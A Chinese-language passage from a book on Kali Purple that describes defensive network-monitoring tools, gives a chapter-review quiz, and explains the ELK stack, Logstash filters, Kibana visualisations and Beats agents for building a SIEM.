它是一个非常强大且高度可扩展的工具,用于分析网络流量中的可疑或恶意属性。它采用多线程性能方法,允许并行处理指令,使其能够高效处理高速网络流量。与 Wireshark 一样,Suricata 实时捕获网络数据包。不同的是,Suricata 自动分析这些数据包,包括头部和有效载荷,并根据此分析做出警报判断。默认情况下,它设计用于向用户发出警报,指示符合利用、恶意软件、政策违规以及异常或可疑行为的网络入侵事件。当然,Suricata 还可以执行 Wireshark 的常规协议分析功能,包括 HTTP、DNS、FTP、SMTP 等,这些功能有助于检测可能专门针对特定协议的攻击。

它使用两种主要的检测方式:基于签名和基于异常的检测。通过签名检测,Suricata 将网络流量与预定义的规则或模式(称为签名)进行匹配,以帮助识别已知威胁。通过异常检测,Suricata 首先建立正常网络行为的基准,然后每当有任何偏离该基准的情况发生时,就会发出警报。

Suricata 可以与威胁情报源集成,这是任何值得信赖的 IDS/IPS 解决方案的一个不成文要求。这些情报源可以是外部公共数据流,也可以是内部维护的威胁数据流。这些数据流极大地帮助系统识别新兴威胁,从而整体提升检测能力。

Zeek

Zeek(前身为 Bro)不是一个完整的 IDS 产品。然而,它包含了允许其充当 IDS 的特性和功能。默认情况下,Zeek 是一个用于监控和分析网络流量的网络分析框架。就像本章中 进攻性安全防御性安全 部分提到的其他一些工具一样,Zeek 实时捕获和分析网络数据包,并试图提取关于协议、活动连接和整体行为的有用信息。除了其他工具也提供的协议分析功能外,Zeek 更加关注连接细节和文件传输信息。在功能上,它可能被描述为 Wireshark 和 Suricata 的混合体。

它允许用户使用其脚本语言,赋予他们创建自定义规则和策略的能力,以类似入侵检测系统(IDS)方式进行警报。然而,这比许多现成的IDS 解决方案更为繁琐。尽管如此,这可能对那些希望在进入网络安全工程方向之前发展或提升技能的网络安全分析师提供价值。Zeek 的另一个 IDS 特性是其事件驱动模型。事件基于网络活动生成,为监控和分析提供了一个灵活且可定制的框架。

虽然这些检测、预防、日志记录和警报产品是精心设计的 SOC(安全运营中心)的核心工具,但有时分析师需要手动检查特定场景中的流量,以确定警报是否为真正的或误报。这有助于团队微调检测和日志记录规则,从而减少未来不必要的警报,避免警报疲劳。Kali Purple 在其发行版中提供了此类工具。

Arkime

Arkime——前身为 Moloch——就是这样一款工具。它是一款端到端流量分析应用,旨在捕获大量的网络数据包信息并将其编入索引,以供分析师手动探索。它提供实时搜索/查询、自定义仪表板以及多种高级数据分析功能。像大多数流量分析工具一样,Arkime 主要用于网络安全监控、事件响应和数据分析。它的特点是处理大量的网络信息。

该应用程序支持多种数据包捕获方法,包括被动监听、数据包捕获PCAP)文件导入,甚至通过网络测试接入点TAPs)进行直接捕获。PCAP 文件是一种标准化文件格式,广泛被如 Wireshark 等数据包捕获工具所接受。TAP 通常是—但并非总是—一种硬件设备,提供了一种让分析师通过复制经过网络链路的数据来监控网络流量的方式。该功能的软件版本被称为虚拟 TAPvTAPs)。这些虚拟 TAP 允许原始流量不受干扰地传输。TAP 通常被放置在交换机和路由器等网络设备之间。虽然 Arkime 本身不提供 vTAP,但它已设置好与此类软件应用程序的集成。

Arkime 还提供了先进的搜索功能,包括跨所有已编索引字段、数据包负载和元数据的搜索,支持正则表达式、范围搜索和上下文查询。

每当一个应用程序提供高级查询功能时,最好还提供方式让用户根据自己的需求以最适合的方式呈现这些信息。这将帮助用户与应用程序建立联系,并自然地形成舒适的使用体验。Arkime 通过允许自定义仪表板来实现这一目标,这样操作员可以个性化显示网络数据,专注于当时对用户最有价值的数据。

Arkime 的架构还支持插件,使其操作员能够扩展其功能。与大多数提供此功能的大型软件应用程序类似——例如 Burp Suite——Arkime 用户社区已经开发了各种插件,支持额外的分析、与外部工具的集成、以及自定义功能,并将这些预构建的插件提供给其他 Arkime 操作员使用。我们将在 第六章开始时更详细地探讨这个应用程序。

Malcolm

Malcom 是一个类似的流量分析工具,特别专注于网络流量的可视化。除了提供 Arkime 提供的网络监控功能,Malcom 还广泛用于威胁猎杀、文件提取和元数据提取,使其在其他网络分析工具中拥有独特的优势。尽管以简洁著称,Malcom 的亮点在于其从网络流量中提取和分析文件的能力。在 Malcom 中,这是一项自动化功能。

它还通过允许多个用户在同一调查中协作,提供作为协作工具的支持,具备共享和评论捕获数据的功能。这项功能在流量分析工具中并不常见,并为 SOC 团队选择 Malcolm 而非其他流量分析工具提供了有力的理由,因为它支持与事件响应和分析的实时协作。

如你所见,Kali Purple 提供了一整套强大的防御安全工具。它们主要基于 ELK 堆栈构建,我们将在 第二章中详细介绍。当集成我们讨论过的 IDS 工具,如 Suricata 或 Zeek 时,整个工具集开始形成支撑我们安全态势的 SOC。这正是 Kali Purple 的全部目的,这也是 Kali Purple 创建的原因!

总结

在本章中,我们发现了一套坚实的行动和知识基础,这些为我们今天所见的网络安全阶段奠定了基础。我们能够跟随一段简短的安全发展史和事件,揭示了如今企业所需的保护需求。在此过程中,我们考察了 Stuxnet,这是世界上第一次将现代计算技术用于武器化和网络战争的案例。随后,我们研究了 2013 年 Target 公司遭受的网络攻击,了解了这两次攻击如何推动了本书后续章节中所涉及技术的发展。

在我们浏览了 Kali Purple 分发版中包含的红队和蓝队工具,或可以添加到其中的工具后,我们开始拼凑出一个全面的网络安全系统的完整图景。我们能够开始看到 Kali Purple 的更大潜力,并观察到它逐渐发展成为一个全面的一站式商店,能够为商业安全解决方案、分析师培训以及概念验证提供极高的通用性。

现在拥有了扎实的基础知识,我们将在下一章中开始深入探讨这个SOC 一体化,稍微了解一下 Kali Linux,并重点关注 Kali Purple 中可能是最受期待和最受欢迎的功能——SIEM。

问题

回答以下问题以测试你对本章的理解:

  1. 什么是 SOC?

    1. 特殊行动指挥部

    2. 操作行为标准

    3. 安全运营中心

    4. 一块穿在脚上的布

  2. Hydra 和 John the Ripper 的主要区别是什么?

    1. Hydra 的重点是从哈希列表中破解密码,而 John the Ripper 则专注于通过网络应用进行暴力破解

    2. John the Ripper 的重点是从哈希列表中破解密码,而 Hydra 则专注于通过网络应用进行暴力破解

    3. Hydra 有多个头,而 John the Ripper 只有一个

    4. 以上全部

    5. 以上都不是

  3. 被认为拥有顶级安全性的缺点是什么?

    1. 你会成为对手的目标,他们试图证明自己的实力

    2. 你的安全预算过高

    3. 你被保护得如此严密,连你自己的母亲都无法联系到你

    4. 每个人都期望你分享你的秘密

  4. 哪种口袋大小的工具被用来对伊朗的核浓缩计划进行破坏?

    1. 瑞士军刀

    2. 丁烷打火机

    3. 回形针

    4. USB 闪存驱动器

  5. 当 SIEM 将新获得的数据与现有的数据源结合时,这被称为什么?

    1. 数据损坏

    2. 数据增强

    3. 数据污染

    4. 混乱的局面

  6. CIA 三角理论代表机密性、完整性和 _______________。

    1. 可用性

    2. 可访问性

    3. 责任

    4. 可假设性

  7. 哪个操作系统是第一款成功的、与桌面个人计算机一起发布的大众市场操作系统?

    1. 林纳斯·托瓦兹的 Linux

    2. 微软的 Windows

    3. 托普森和里奇的 Unix

    4. 苹果的 MacIntosh

  8. 在 Elastic、Arkime 和其他工具中,哪个应用功能允许用户自定义信息的呈现方式?

    1. 图形用户界面 (GUI)

    2. 动态规则集

    3. 仪表盘

    4. 白板

深入阅读

要了解本章中涉及的主题,请查看以下资源:

第二章:Kali Linux 和 ELK 堆栈

现在我们已经基本了解了网络安全作为一个专业领域的演变,让我们开始逐步拆解 Kali Purple 工具集。你会记得我们之前解释的红色和蓝色在色轮上会混合成紫色。这是因为 Kali Purple 的血统是一个双重用途的工具集,来自两套技术工具,一套与红队相关,另一套与蓝队相关。我们在上一章提供了每个分组的概述。那些工具列表并不是一个详尽无遗的工具清单——只是重点展示了一些工具。

在本章中,我们将简要解释 Kali Linux,供那些可能第一次接触 Linux 的读者了解。Kali Purple 的防御性安全功能已经成为一种流行现象,促使一些人在职业生涯中第一次接触 Linux操作系统OS)。然而,大多数阅读本书的人可能已经有 Linux 经验,甚至有些人可能有 Kali 经验。因此,在简要介绍 Kali Linux 时,我们将主要集中于解构安全信息与事件管理SIEM)系统的初步元素——ELK 堆栈

ELK代表Elasticsearch、Logstash 和 Kibana。它们是三款独特的开源软件,通常组合在一起,用于与日志管理、数据存储、搜索/查询、数据分析和数据可视化相关的技术解决方案。它们本身并不定义一个 SIEM。然而,当与其他一些核心组件结合使用时,如BeatsX-Pack,ELK 堆栈将为我们提供我们正在追求的信息和事件管理系统。

Kali Purple 中有多个工具可用,但我们将重点关注这个工具集中的主要强大引擎——分布式分析引擎 Elasticsearch。为了理解我们将使用的工具,我们需要关注以下 Elastic 元素:

  • Elasticsearch

  • Logstash

  • Kibana

  • Beats

  • X-Pack

由于 SIEM 是你在 SOC 中找到的核心解决方案,因此我们必须充分探索并理解这个工具,了解它如何工作,它如何以及从哪里获取数据,以及我们如何通过不同的方式处理这些数据以实现我们的安全目标。典型的 SIEM 会从多个其他来源获取数据,对其进行标准化、丰富、组织和存储,然后以统一的格式呈现给网络安全分析员进行人工评估和行动。组织依赖它来集中管理防御性安全操作。在本章结束时,你将对这些概念有一个扎实的理解。

在接下来的三章中,这些理解将派上用场,因为我们将在准备 Kali Purple 的技术时,接着是获取、安装和配置我们的技术以及 Kali Purple 本身。了解 ELK 堆栈与 Kali Linux 环境相关的数据流将为你提供基础,以应对在我们解包SOC-in-a-Box解决方案时可能出现的任何异常。

本章涵盖以下内容:

  • Kali Linux 的演变

  • Elasticsearch、Logstash 和 Kibana(ELK 堆栈)

  • 代理和监控

Kali Linux 的演变

尽管是一项突破性技术,Kali Purple 的现代根源追溯到 1969 年。正是在 AT&T 的贝尔实验室,Ken Thompson 和 Dennis Ritchie 共同创造了 UNIX 操作系统。Ritchie 也因创造 C 编程语言而闻名。几乎所有现代计算技术都归功于 Ritchie 的两项重大贡献。最初的 Windows 操作系统就是用 C 语言编写的。UNIX 最终以开源和商业版本的形式发布。商业 UNIX 的两个最大客户是美国国防部DOD)和——请鼓掌——苹果公司。没错,Mac OS X 就是基于 UNIX 构建的。那就只剩下一个主要的角色了……Linux。

芬兰赫尔辛基大学的计算机科学家 Linus Torvalds 拿到了一个开源版本的 UNIX,并开始加入自己的风格,创建一个全新的基于 UNIX 的操作系统。他随后公开发布了这个操作系统,免费供人使用。Linus + UNIX = Linux。由于 Torvalds 先生发布了代码并允许任何人修改和重新发布自己的版本,Linux 迅速流行起来,今天世界上有无数种 Linux 操作系统版本。

当 Dennis Ritchie 离开贝尔实验室去加利福尼亚大学伯克利分校工作时,他第二次加强了 Kali Linux 的基因。正是在那里,他最终创建了 UNIX 的一个新版本,命名为伯克利软件分发版BSD)。正是这个版本的 UNIX,Debian Linux——基于 Torvalds 最初贡献的操作系统——用来增强其强大的操作系统。

享有盛誉的美国信息安全公司 Offensive Security 资助了 Kali Linux 的开发,以支持通过数字取证和渗透测试的道德网络安全需求。Offensive Security 的员工 Mati Aharoni 和 Devon Kearns 将公司之前的一个 Linux 发行版进行了重新设计,创造出了现在被称为 Kali Linux 的 Debian Linux 衍生版。

如前所述,SOC 的旗舰产品是 SIEM,而 Kali Linux 通过在 2022 年 12 月发布的 Kali Purple 为我们提供了将其整合在一起的工具。让我们开始检查这些工具中最强大的——ELK 堆栈。

Elasticsearch、Logstash 和 Kibana(ELK 堆栈)

ELK 堆栈是指三个软件组件,它们协同工作以增强、索引和可视化数据进行分析。有些人会将 Beats 系列数据收集代理视为 ELK 堆栈的一部分。我们将在下一节中介绍 Beats。

Elasticsearch

Elasticsearch 是 ELK 堆栈的核心引擎。正如我们稍后会讨论的,Elasticsearch 从技术上来说是一种非关系型 NoSQL 数据库。如果没有有效地搜索我们收集的数据,我们怎么可能判断是否有什么内容需要发出警报呢?Kibana 将无法继续前进,无法正确展示它提供的可视化威胁。这是 ELK 堆栈中一个非常强大的组件,因为它设计用于处理在大量查询频繁发生的情况下的大量数据。

Elasticsearch 通过使用一种被称为分片(sharding)的技术来实现这一目标。这是数据库术语,简单来说,就是通过将数据拆分成小块来结构化和组织数据。这使得该技术能够将数据的各个部分水平分布到多个分区/节点和服务器上,同时通过索引保持与相似数据的关系。这些较小的数据块称为分片。数据被分割成分片的过程发生在索引过程中。

创建这些分片的价值在于,Elasticsearch 可以使用一种叫做并行处理的技术来同时访问多个分片。并行处理是指多个处理单元——例如 CPU——在多个节点上并行工作。它的效果就像是有多台计算机同时处理同一任务,从而加快完成工作的速度。这通常应用于数据库技术中。

Elasticsearch 提供的一个有益功能是支持创建分片的副本——副本(replicas)。顾名思义,这些是原始分片的副本。这样做是为了支持网络安全框架中的可用性组件,通过创建冗余,从而实现容错。它通过将副本分片放置在数据集群的不同节点中来创建这一安全网。就像原始分片在索引过程中创建一样,副本的创建也是如此。

虽然对于不熟悉搜索技术的人来说,可能听起来不算什么值得吹嘘的事情,但 Elasticsearch 提供了全文搜索功能。这可是大新闻!许多搜索/查询技术仅基于匹配的关键词或嵌入的元数据进行搜索。全文搜索意味着 Elasticsearch 会根据文档和文本的完整内容进行搜索并检索结果。这意味着需要考虑文档的全部内容。

Elasticsearch 利用六个关键特性来支持这种搜索方式:

  • 分词:分词在应用于全文搜索时,也可以被视为一种文本清理方式。其含义是,Elasticsearch 将文本拆分为单独的单元,并将这些小单元或词元存储在倒排索引中——有时也叫做倒排索引。这样做的目的是允许基于关键词或简单术语进行搜索。分词过程的一部分包括将所有大写字符转换为小写字符、去除标点符号,并将输入拆分成更小的单元。

  • 基于术语的查询:基于术语的查询顾名思义,就是允许用户在文档中指定他们希望 Elasticsearch 查找的关键词或非常具体的术语。它通过使用前述的分词方法来实现,帮助缩小结果范围,确保结果与搜索词直接相关。

  • 全文匹配:Elasticsearch 利用数学算法通过一种叫做全文匹配的技术来辅助结果的准确性。这与我们稍后会谈到的全文搜索不同。Elasticsearch 会尝试通过计算文档中与搜索词匹配的术语出现次数来确定文档与搜索查询的相关性。它还会使用如术语频率-逆文档频率TF-IDF)和最佳匹配 25BM25)等算法来评估这些搜索词在整个文档集合中的重要性,因为它会衡量这些出现次数。

  • 全文搜索选项FTSO):另一种被称为 FTSO 的样式是一个相关概念,它在焦点和整体功能上有所不同。匹配样式侧重于精确匹配,而 FTSO 则更进一步,不仅考虑词语的相对位置、术语频率、语言分析、相关性评分,还包括部分匹配、同义词和模糊匹配。它允许在数据库语言中常见的布尔运算符(ANDORNOT)。简而言之,匹配样式通常只关注提供词语完全匹配的结果,而不太考虑这些结果是否相关。FTSO 则更加注重确保结果不仅仅是词语匹配,而是内容匹配。

  • 语言分析器:你有没有想过,像 Elasticsearch 这样的技术如何处理它在非英语语言中找到的信息?信不信由你,它能够完成这个任务,因为 Elasticsearch 集成了各种语言分析器。这包括一些不仅强调口语语言特征的分析器。以下是 Elasticsearch 使用的几种流行语言分析器的示例:

    • 标准分析器:基于语法的分词方法,适用于大多数语言

    • 简单分析器:侧重于非字母字符和小写规范化

    • 空白分析器:对每个由空格分隔的单词进行标记化处理

    • 关键字分析器:对整个输入字符串进行标记化处理

    • 口语语言:英语、法语、德语、西班牙语等多种语言

  • 分面搜索和聚合:最后,Elasticsearch 提供了一种称为分面搜索和聚合的高级搜索样式,涉及复杂的数据分析。分面搜索有时也称为分面导航。这是一种根据数据的不同属性进行数据过滤的方法。这些不同的过滤维度有时称为分面,因此得名。这些分面的一些示例可能是颜色、价格范围和购物类别等内容。这种样式为用户提供了一种确定他们希望如何细化搜索的途径。它允许用户深入到非常精确的搜索级别。

    与分面搜索共同工作的是聚合搜索。这是在搜索开始时进行的,以建立最丰富的潜在相关信息供分面搜索发现用户最需要的信息。Elasticsearch 使用三种主要类型的聚合:

    • 桶聚合:使用逻辑分区来组合具有相关属性的文档

    • 度量聚合:在每个桶内对数据执行计算

    • 管道聚合:基于其他聚合输出运行的次要聚合

除了对搜索考虑因素更多之外,Elasticsearch 还提供几乎实时的数据索引功能。它用来提供这一功能的方法之一被称为倒排索引。传统索引是将数据存储在数据库中,并根据整个文档进行组织。而倒排索引是根据文档中的单词和术语组织数据。索引是在初始解析和分析时构建的,然后放入优化的数据结构进行存储。这个结构就是索引本身。

为了进一步支持近实时索引,Elasticsearch 在索引过程开始之前首先将文档写入称为预写式日志WAL)的事务日志。这样做是为了在系统故障时保护数据。即使机器功能出现短暂的故障,也可能会损坏索引过程。因此,通过使用 WAL,Elasticsearch 可以立即恢复数据并重新开始索引过程。

为了确保数据准确性,Elasticsearch 每秒刷新一次索引。当发生这种情况时,它会加强索引中信息的可用性,以便进行搜索操作。这个过程使得接近实时的搜索成为可能,从而使得 Elasticsearch 检索信息的整体过程在本质上非常高效。这是任何依赖快速访问信息进行分析的应用程序成功的必要组件,例如 SIEM。

Logstash

Logstash 是 ELK 堆栈的一部分,具备数据摄取、必要时进行数据转换/丰富,并将其从一个地方传输到另一个地方的能力。虽然 Elasticsearch 是 ELK 堆栈的核心,但 Logstash 提供了一些并行的功能,并充当着提供 Elasticsearch 数据的中介。

Logstash 可以从各种数据源中获取数据。以下是一些可能的数据源:

  • 日志文件

  • 数据库

  • 应用程序编程 接口APIs

  • 消息队列

  • 物联网IoT)设备

在摄取数据后,Logstash 提供了所谓的数据转换数据丰富功能。这是任何依赖异常警报的分析应用程序的关键特性。它通过使用过滤器来执行这些操作。这些过滤器允许用户操作传入的数据,然后将其发送到目标位置,供 Elasticsearch 访问。

过滤器有很多,大约有 50 个,但我们将在这里重点介绍一些较简单且受欢迎的过滤器。随着你开发和提升 ELK 堆栈技能,可以随时深入研究并了解新的过滤器。与此同时,让我们先覆盖一些大家开始学习和训练时会接触到的。

其中一个过滤器是Grok 过滤器。Logstash 使用它来解析任何类型的结构化日志数据——这些数据是由 Grok 从非结构化数据中派生出来的——它似乎遵循某种模式。此操作还允许 Logstash 从任何非结构化或半结构化的日志消息中提取它认为有意义的字段。它使用正则表达式尝试识别并定义模式。

日期过滤器是另一个转换工具。正如你所预期的,这个工具用于解析和标准化传入的日志数据中的日期和时间。你可以自定义它要解析的日期格式模式。这个过滤器对于包含任何日期或时间戳的日志文件非常有用。任何正确生成的日志文件都应该包含这样的时间戳。

还有一个翻译过滤器,它通过外部映射文件进行数据查找。该过滤器利用这些信息来丰富通过日志传入的数据。该过滤器允许你在字典文件中定义键值对。然后,过滤器通过匹配并用相应的字典值替换特定值,从而丰富数据。

名副其实的Mutate 过滤器为 Logstash 提供了多种操作,可以用来操控和修改数据。使用这个过滤器,你可以重命名字段,添加或删除字段。你还可以转换字段的类型并修改字段中的值。甚至可以做一些诸如拆分和修剪字符串,或将一个字符串与另一个字符串连接的操作。

如果你想向数据添加地理信息,可以使用GeoIP 过滤器。它通过执行 IP 地址查询来实现这一点。通过将 IP 地址映射到相应的地理位置,你可以为数据增添有用的信息,如城市、州、国家以及纬度和经度。

Logstash 使用用户代理过滤器来解析通常来自网页日志的字符串,这使得它能够提取关于端点上使用的工具的重要细节。这可能包括设备类型、操作系统、网页浏览器品牌和版本。拥有这些信息,可以让分析人员深入了解数据流两端使用的设备和浏览器。

JavaScript 对象表示法JSON)是防御性安全工具中最常见的代码相关语言格式之一。你几乎不可能找到一个主流的 SIEM 或其他网络安全产品,它不兼容 JSON 格式,而且至少有一两种方式可以将应用程序使用的一些信息以 JSON 格式呈现。Logstash 也不例外。它可以轻松处理 JSON 格式的数据,甚至能够处理嵌套的 JSON 结构。嵌套特性是在任何编程或编码环境中,当一个特性被包含在其自身之内时,称为嵌套。

喜欢使用电子表格的朋友会很高兴得知,Logstash 提供了CSV 过滤器。这个过滤器允许 Logstash 解析和处理逗号分隔值。这是电子表格用户提取和/或存储可以以电子表格方式呈现的数据时使用的常见格式。此过滤器可以处理多种配置,例如分隔符、头部、行和列映射。

另一种常见且跨系统兼容的格式是可扩展标记语言XML)。Logstash 有一个 XML 过滤器,可以解析 XML 格式的数据。这个过滤器可以从 XML 文档中提取特定的元素和/或属性,然后将它们转换为可以用于后续处理的结构化字段。

完整的过滤器集合超出了这个列表。这些只是最常见和最可能被 Logstash 使用的过滤器。完整的过滤器集合使 Logstash 成为一个非常强大的数据、标准化和增值工具。正如你现在可能已经发现的那样,Logstash 采用了一种设计,使其能够处理结构化和非结构化数据。

在处理所有这些数据和我们讨论的 Logstash 如何操作和丰富这些数据的不同方式时,有一个至关重要的编码风格特性,用于控制数据流。那些有编码和/或软件开发经验的人都知道这种数据控制流叫做条件语句。条件语句允许用户根据特定的条件和标准控制数据流。一些人可能会认识到这就是if-else 语法。

这是一个有趣的例子:

if (paycheck(onTime)){        // Set the condition. Am I paid on Time?
         doSomething;          // If I am, the condition is met
         beProductive;        // I will do something and be productive
} else {                    // Otherwise
     doNothing;            // I wasn't paid on time. Condition not met
     beLazy;               // I will be lazy and do nothing
}

正如我们之前提到的,Logstash 有点像是一个中介——一个中间人或中介者。这意味着它不仅仅被用来获取日志信息,还被大量依赖于对这些数据进行丰富并转发,主要的输出通道是 Elasticsearch。它可以以多种格式输出数据,但最常见的格式是 CSV 和 JSON,正如我们之前讨论过的那样。

Logstash 有一个插件,C 程序员会立刻认出来,叫做stdout,它代表标准输出。这个插件允许数据直接发送到控制台应用程序的命令行中。以这种方式输出数据的主要原因是允许在 Logstash 实例上工作的工程师能够立即识别某些数据元素,方便进行调试和应用测试。

另一个常见的输出目的地是Apache Kafka,它是一个分布式事件流平台应用程序,最初由流行的社交媒体平台 LinkedIn 开发。它作为开源软件在 Apache 软件基金会下发布。它以高效、容错可靠而著称,能够处理大量数据。

之前,我们讨论了在 Elasticsearch 中组织数据的方式,叫做bucket)。Logstash 也可以输出到采用这种数据组织原则并大规模推广的组织:亚马逊。亚马逊通过其简单存储服务S3)桶来实现这一点。它在亚马逊的云服务中非常受欢迎,并且与亚马逊网络服务AWS)完全集成。

Logz.io 是一个流行的基于云的日志管理平台,Logstash 可以将数据输出到这个平台。虽然它是一个日志管理和分析平台,但它并不专注于实时监控、原始数据与丰富数据源之间的关联以及安全事件分析。因此,它距离被认为是一个完整的 SIEM 系统还差一个神经元。

另一个 Logstash 输出集成是Java 数据库连接JDBC)。JDBC 是一个 Java API,允许开发者使用 SQL 数据库语言与关系数据库进行交互。它提供了标准的接口和类,用于执行数据库交互操作,如连接、执行 SQL 查询、更新或处理结果。

Redis 是一个类似的存储选项,可以用作数据库、缓存或消息代理。Logstash 也会输出这种内存数据结构存储。Redis 的独特之处在于,它将主要数据存储在 RAM 中,以实现快速的读写操作。它支持非常广泛的数据类型,并采用常见的数据库方法,如键值对模型。这种模型将数据作为一个键值对存储,每个键都有一个唯一的标识符。它特别重视键和数据结构的使用,如字符串、列表、集合、哈希和有序集合。Redis 的吸引力在于其处理、存储和回调数据的极高速度和效率。

Kibana

Kibana 是 ELK 堆栈中的工具,帮助用户探索、可视化和分析其他组件收集和聚合的数据。它专门设计用于与 Elasticsearch 配合使用,提供一个用户友好的界面。最直接的术语来描述 Kibana 就是 数据可视化

Kibana 中的数据可视化采用多种方法和风格,但有七种主要方法,具体如下:

  • 图表:图表可能是这里最符合逻辑的预期。它们包括折线图、柱状图、面积图、饼图、散点图等。这为那些更偏视觉学习的用户提供了一个从不同角度发现潜在异常的机会。

  • 地图:虽然许多软件应用程序都使用地图,但 Kibana 将这一功能提升到了更高的水平。用户可以创建分级图、符号图以及基于网格坐标的地图。分级图是一种专题地图,专注于某个特定的主题或话题。分级图的风格是使用不同的颜色或图案来表示地理区域/地区,通常是国家、省/州或县/区。你可能在童年课堂上看到过这些类型的地图。符号图与之类似,但它更侧重于使用符号来识别和表示特定的地理特征,而网格坐标地图在与经纬度对齐时尤为常见。

  • Timelion:顾名思义,Timelion 是一个用于 Kibana 的数据可视化插件,允许最终用户处理和分析基于时间的数据。像大多数与 ELK 堆栈相关的工具一样,Timelion 可以用于数据转换、聚合和数学计算。你可以执行平均值、百分位数、求和等功能。它支持使用变量,这对于处理不规则的时间序列非常有用。Timelion 创建的典型可视化图表通常以折线图的形式出现。当应用于技术时,折线图几乎总是以 XY 轴的形式存在,其中 X 轴表示时间,Y 轴表示数据值。

  • 时间序列可视化构建器TSVB):TSVB 是 Kibana 中的一个可视化选项,侧重于最终用户的使用舒适度。它允许用户通过简单的拖放界面构建复杂的时间序列可视化。它提供了多种图表类型、数学聚合和自定义样式的访问权限。

  • 仪表盘和指标:Kibana 版本的仪表盘和指标可视化旨在提供代表特定范围内单一值的视觉效果。这允许用户以多种方式呈现这些简单的值,包括火花图(sparklines)。火花图是小型的紧凑线条柱状图,或者有时是简单的折线图,旨在显示数据的变化或趋势,适合在紧凑的空间中展示。它们旨在快速提供数据的形状或趋势视觉。

  • 热力图:在今天的商业世界中,热力图是最受欢迎的数据可视化之一。热力图是二维的,通常以全球或其他大型地理地图的形式呈现。它们通常用于显示趋势、关联性和模式,帮助分析师解决复杂和/或广泛的问题。在网络安全领域,热力图的一个常见用途是展示网络攻击的来源或源 IP 位置。通常,热力图会精心集成颜色方案,当多个实体交叉时,颜色的强度会增加,比如当一些手机 GPS 地图根据特定地点的交通拥堵情况将路线颜色从蓝色逐渐加深到黄色,再到红色。热力图使用标签和注释,但最好的热力图会保持简洁,限制这些信息,以便使可视化对观察者来说保持清晰。

  • 标签云:标签云,也叫做词云,是文本数据的可视化,通常通过按类别和突出性显示不同大小和颜色的单词。它们通常根据频率来衡量单词的重要性。生成这些图形的算法通常会在决定最终输出之前执行一些预处理操作,去除一些不太可能与数据相关的常见词汇,比如介词和代词。这是一种文本清理形式,类似于 Elasticsearch 中的分词方法。

Kibana 提供的另一种可视化类型是仪表板创建。这是与 Kibana 最相关的总体元素,也是利用我们刚刚探索的不同图表和其他可视化的一个功能。Kibana 仪表板提供了一个集中视图,可以将多个可视化组合在一起,并可以应用查询和过滤器,创建一个完全自定义的布局。它们有助于近实时跟踪业务世界中所称的关键绩效指标KPI)。

Kibana 支持用户执行临时搜索。这是在 Elasticsearch 中索引数据的基础上进行的,且具有可视化的搜索界面。如果你愿意,可以使用简单的搜索语法来构造查询。更高级的用户则可以选择使用 Lucene 查询语法,这对精确搜索非常有帮助。搜索结果会立即显示,之后你可以进一步细化、过滤和排序数据,继续深入分析特定的子集信息。

说到查询和过滤器,Kibana 提供了一种可视化构建查询和过滤器的方式,帮助你深入探索数据。Kibana 的 领域特定语言DSL)允许用户构建复杂的查询和聚合,以便从数据中提取深刻且有意义的见解。你可以使用过滤器,根据特定条件(如时间范围、属性或自定义定义的条件)来缩小数据范围。

Kibana 的一大优势是其在基于时间的分析上的卓越表现。这使你能够在一定时间范围内更深入地探索数据趋势、模式和异常。你可以调整时间范围,设置自定义时间间隔,甚至应用带有日期的直方图,从而在不同的粒度级别上分析数据。时间选择器使你能够指定你希望分析的时间范围。

地理空间分析是 Kibana 提供的另一个功能,允许你可视化和分析基于位置的数据。你可以使用此功能在交互式地图上绘制数据,地理编码 IP 地址,应用地理空间聚合,并使用热力图可视化密度。Kibana 还支持多个地图层、自定义底图和地理形状文件,这是一大亮点。它还提供地理空间扩展,其中最常见的是 Elastic Maps Service。

Kibana 允许用户设置警报和监视器,以实时跟踪特定事件或条件。你可以根据多种因素定义警报规则,包括数据阈值、模式或其他条件。它还可以与外部通知系统(如电子邮件和流行的 webhook 等)协同工作,触发警报。正是这套功能,使得 ELK 堆栈在很多日志摄取和处理工具中更接近于一个真正的 SIEM 环境。

Kibana 不仅仅是一个数据可视化工具——它还提供了安全性功能。它提供了一套非常强大的安全功能来控制对数据的访问。它通过支持身份验证和授权机制、基于角色的访问控制RBAC),以及与外部身份验证提供商(如 轻量目录访问协议LDAP)和/或 安全断言标记语言SAML))的集成,来实现这一点。

ELK 堆栈到目前为止,主要用于数据处理/增强、可视化以及整体处理。然而,我们首先需要一种方式来收集这些信息并将其发送到 ELK 堆栈。这个过程就需要 Beats

代理与监控

还有一些与 ELK 堆栈相关的突出的附加应用程序。它们是开源的 Beats 和商业化的 X-Pack。正是这两个组件的加入,使 ELK 堆栈成为一个完整的 SIEM 系统。它们共同提供数据收集与传输、警报与通知、用于检测隐藏异常行为的机器学习,以及自动化报告功能。

Beats

Beats 是一组数据收集和传输代理,通常被称为数据运输工具。它们是轻量级的——微型——应用程序,安装在终端上,包括个人计算机、服务器和其他网络设备,专门用于收集数据并将其发送到 Elasticsearch 和 Logstash 以便实时进一步处理。Beats 从其安装的设备收集操作数据。它从不同的来源获取数据,包括日志、网络流量以及其他相关信息。Beats 家族包括各种专门的数据运输工具,例如用于日志文件的 Filebeat,用于机器指标的 Metricbeat,用于网络数据的 Packetbeat,以及用于审计事件的 Auditbeat 等。Beats 使用安装在服务器或系统上的轻量级代理,高效地收集数据,并最大限度地减少资源使用。让我们详细了解一下这些:

  • Filebeat:Filebeat 旨在收集和传输日志文件。它可以监控日志目录和文件。它将收集的数据发送到 Elasticsearch 或 Logstash,在那里对数据进行增强和/或进一步处理与分析。Filebeat 支持不同的日志文件格式,包括纯文本日志、JSON 日志、syslog 等。

  • Metricbeat:该 Beats 收集系统级别的指标和统计信息,例如 CPU 使用率、内存利用率、磁盘 I/O 以及网络指标等。它可以从各种来源收集指标,如操作系统、服务、容器、数据库和云平台。与 Filebeat 的操作方式相同,Metricbeat 将收集到的指标发送到 Elasticsearch 或 Logstash 进行增强、进一步处理、存储、分析和可视化。

  • Packetbeat:如果能够从网络数据中捕获这些类型的指标,那该有多好?这正是 Packetbeat 的作用。它捕获网络数据并分析各种协议,包括 HTTP、DNS、MySQL 和 Redis 以及其他多种协议,从而提取元数据和行为洞察。Packetbeat 的数据收集目标意味着它可以提供近实时的网络流量可视化。这可能包括事务细节、请求和响应数据,或网络错误。Packetbeat 也可以用于故障排除、性能问题诊断、安全威胁识别和网络活动监控。

